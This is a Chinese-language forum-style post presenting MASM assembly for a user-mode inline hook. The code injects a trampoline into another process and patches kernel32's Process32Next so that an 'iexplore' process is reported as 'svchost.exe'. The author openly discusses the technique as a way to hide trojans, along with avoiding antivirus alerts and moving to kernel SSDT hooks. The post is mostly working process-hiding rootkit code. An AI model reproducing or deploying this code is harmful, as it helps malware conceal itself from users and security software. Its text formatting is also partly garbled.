應用層InLine Hook

我的思路: 1.得到本進程中包含被掛接API的DLL的基地址,該DLL代碼節的虛擬偏移以及該API的入口地址.API入口地址-(代碼節虛擬偏移+DLL基地址)=函數入口相對于代碼節的偏移 2.得到目標進程的PID,以及目標進程包含被掛接API的DLL的基地址(注意一般來說和前面自身進程的值相同)前面得到的函數入口偏移+DLL基地址+代碼節虛擬偏移=目標進程API函數入口地址 3.打開目標進程讀目標進程API函數入口處128字節代碼到自身進程的變量中.然后調用z0mbie寫的LDE32庫取該API函數入口處幾個指令的長度當長度>=5時保存該長度(這樣防止后面取指令沒有對齊) 4.為我們的假函數在目標進程加載的DLL中分配空間(我是把代碼寫在PE頭的后面)這兒要改該內存的屬性為讀寫執行(PAGE_EXECUTE_READWRITE).為了方便編譯我們的假函數是寫在代碼段中的,在運行時要把這些代碼移到數據段,然后把第3步取出的指令放在數據段中相應的偏移處.同時還要在數據段中設置跳回真實函數的JMP指令. 5.把真正的API開頭的指令改為JMP到我們的假函數中. ;目前遇到的問題: 1.在假函數中如何調用其它的API函數,以及如何方便的引用全局,局部變量 2.如何防止重復HOOK. 3.假函數寫在目標DLL的哪兒比較適合. 看了網上不少公開的文章后寫了這些代碼,個人感覺應用層INLINE HOOK對于木馬隱藏來說不是很有必要.因為WIN 2K及以后系統的COPY ON WRITE機制,導致象我這樣的HOOK并不是全局的,要實現全局的要不是舉例進程每個進程都這樣處理一次,要不就是要安裝全局鉤子但一般這個操作都要引起殺毒軟件的報警.另外如果上面第一種辦法對于新啟動的進程你還得不停的舉例以便于找出新啟動的進程哩.有些人說在驅動下可以有一個通知API,但這樣的話還不如直接在驅動下HOOK SSDT或是驅動的INLINE HOOK了. comment % #--------------------------------------# # # UserLand InLine Hook --> # # # -->Hook Process32Next(only a Demo) # # # 2007.03.10 # # codz: czy # # #------------------------------------------# # system :test on XPSP2cn % .586 .model flat,stdcall
option casemap
:none include ../include/windows.inc include ../include/user32.inc includelib ../lib/user32.lib include ../include/kernel32.inc includelib ../lib/kernel32.lib include ../include/shell32.inc includelib ../lib/shell32.lib .data kernel32 db 'kernel32.dll',0 P32First db 'Process32Next',0 inline db 'Hook Process32Next Hide Process:)',0 sztext db '.text ',0 VirtualAddress dd 0 JMPCODE db 0E9h,010h,10H,10H,10H,0 JMPCODE2 db 0E9h,010h,10H,10H,10H,0 HookFunBuf db 256 dup (?)

.
code _ProcessPeFile proc _lpPeHead local @szBuffer[1024]:byte,@szSectionName[16]:byte mov esi,_lpPeHead assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew mov edi,esi assume edi:ptr IMAGE_NT_HEADERS ;******************************************************************** ; 循環顯示每個節區的信息 ;******************************************************************** movzx ecx,[edi].FileHeader.NumberOfSections add edi,sizeof IMAGE_NT_HEADERS assume edi:ptr IMAGE_SECTION_HEADER .repeat
push
ecx ;******************************************************************** ; 節區名稱 ;******************************************************************** invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName push esi push edi mov ecx,8 mov esi,edi lea edi,@szSectionName cld @@: lodsb .if ! al mov al,' ' .endif
stosb
loop
@B pop edi pop esi ;******************************************************************** invoke lstrcmpi,offset sztext,addr @szSectionName .if eax == 0 push [edi].VirtualAddress pop eax ret .else add edi,sizeof IMAGE_SECTION_HEADER .endif ;******************************************************************** pop ecx .untilcxz
assume
edi:nothing
ret
_ProcessPeFile endp ;得到相應進程的模塊加載的起始地址 GetShell32Base proc uses ebx esi edi remoteproid LOCAL hSnapshot:dword LOCAL modinfo:MODULEENTRY32 LOCAL modname[256]:byte mov modinfo.dwSize,sizeof MODULEENTRY32 invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid mov hSnapshot,eax invoke Module32First,hSnapshot,addr modinfo .while eax lea ecx,modinfo.szModule invoke lstrcmpi,offset kernel32,ecx .if eax == 0 mov eax,modinfo.modBaseAddr ret .endif
invoke
Module32Next,hSnapshot,addr modinfo .endw
invoke
CloseHandle,hSnapshot ret GetShell32Base endp InlineHook proc
LOCAL
hProcess:dword LOCAL hKernel32:dword LOCAL hAPI:dword LOCAL PID:dword LOCAL ModBase:dword LOCAL OLDpro:dword LOCAL CodeBuf[128]:byte LOCAL optable[2048]:byte LOCAL codelen:dword LOCAL APIoffset:dword LOCAL hAPI2:dword LOCAL pHookFun:dword LOCAL hooklen1:dword LOCAL hookfunlen:dword lea eax,optable push eax call disasm_init ;解壓縮'指令長度表'

invoke
LoadLibrary,offset kernel32 ;得到自身進程DLL的基地址
mov hKernel32,eax invoke _ProcessPeFile,hKernel32 ;通過分析PE文件得到相應的.text節的虛擬偏移
mov VirtualAddress,eax ;一般為1000h
invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址
mov hAPI,eax mov eax,hKernel32 add eax,VirtualAddress ;得到代碼節起始地址
mov ecx,hAPI sub ecx,eax ;函數入口相對于代碼節的偏移
mov APIoffset,ecx invoke GetCurrentProcessId mov PID,eax mov eax,9504 mov PID,eax invoke GetShell32Base,eax mov ModBase,eax ;得到目標進程DLL的基地址
add eax,VirtualAddress ;得到目標進程DLL的代碼節基地址
add eax,APIoffset ;得到目標進程被HOOK的函數的入口地址
mov hAPI2,eax invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID mov hProcess,eax invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0 lea esi,CodeBuf xor edi,edi @@nextcode:
push
esi lea eax,optable push eax call disasm_main .if eax !=-1 add edi,eax .if edi>=5 mov codelen,edi ;codelne記錄應該COPY的代碼字節數
jmp @@findok .else add esi,eax jmp @@nextcode .endif .else xor eax,eax ret .endif @@findok: ;寫HOOK函數到目標進程DLL的空閑空間中 mov eax,ModBase add eax,VirtualAddress sub eax,512 mov pHookFun,eax invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro ;計算偏移 mov ecx,@@hookbeg mov eax,@@fakeret
sub
eax,ecx mov hooklen1,eax ;計算HOOK函數的全部代碼長度 mov ecx,@@hookbeg mov eax,@@hookfunend sub eax,ecx mov hookfunlen,eax ;把HOOK函數從代碼段移到變量中 mov eax,@@hookbeg invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen ;把HOOK函數從變量中移到目標進程的內存中,這兒只移開頭的一部分 invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0 ;移動被覆蓋的原函數代碼到目標內存中 mov ecx,pHookFun add ecx,hooklen1 sub ecx,21 invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0 ;跳回原函數 mov ecx,pHookFun add ecx,hooklen1 mov edx,ecx sub ecx,5 ;JMP指令的起始地址
mov eax,hAPI2 sub eax,edx add eax,codelen mov edx,offset JMPCODE2 inc edx mov [edx],eax invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0 ;移動真正的HOOK功能代碼到目標內存中 mov ecx,pHookFun add ecx,hooklen1 mov eax,offset HookFunBuf add eax,hooklen1 mov edx,hookfunlen sub edx,hooklen1 invoke WriteProcessMemory,hProcess,ecx,eax,edx,0 ;設置跳轉指令 mov eax,pHookFun sub eax,hAPI2 sub eax,5 mov ecx,offset JMPCODE inc ecx mov [ecx],eax invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0 invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro invoke CloseHandle,hProcess invoke MessageBox,0,offset inline,offset inline,1 ret
InlineHook endp @@hookbeg: push [esp+8] ;ARG2 有幾個參數就ESP加幾*4
push [esp+8] ;ARG1
jmp @@fakeret
@@setret: somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;這兒填被JMP覆蓋的指令
somenop2 db 90h,90h,90h,90h,90h ;填跳回原函數的JMP指令
@@fakeret: call @@setret ;檢查原函數的參數,判斷是否改變原函數的執行結果,這時EAX為函數返回值注意保存 sub esp,8 pushad mov edx,[esp+4+32];原函數倒數第2個參數,進程信息結構的地址 .if eax != ERROR_NO_MORE_FILES add edx,36 mov eax,[edx] mov ecx,[edx+4]
.
if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer換為svchost.exe
mov eax,'hcvs' mov [edx],eax mov eax,'.tso' mov [edx+4],eax mov eax,' exe' mov [edx+8],eax .endif .endif
popad
add
esp,8 ;跳回正常的返回地址 ret 8 ;參數個數*4
@@hookfunend: start: invoke MessageBoxA,0,offset inline,offset inline,1 invoke InlineHook invoke ExitProcess,0 include \masm32\include\lde32bin.inc

end
start


目前我這個思路只用寫一次被HOOK的函數就OK了.下面點評一下網上公開的一些方法: 1.有些方法寫被HOOK的函數次數為(N*2)+1,N為調用次數,會遇到多線程的問題,不穩定. 2.有些方法也只用寫一次,不過要保存和替換返回地址.替換好計算,但保存是個問題?保存在哪兒哩
棧頭不穩定,代碼段同樣有多線程的問題. 3.還有些方法沒用反匯編引擎計算被JMP替換的指令長度,也許會有指令沒對齊的問題.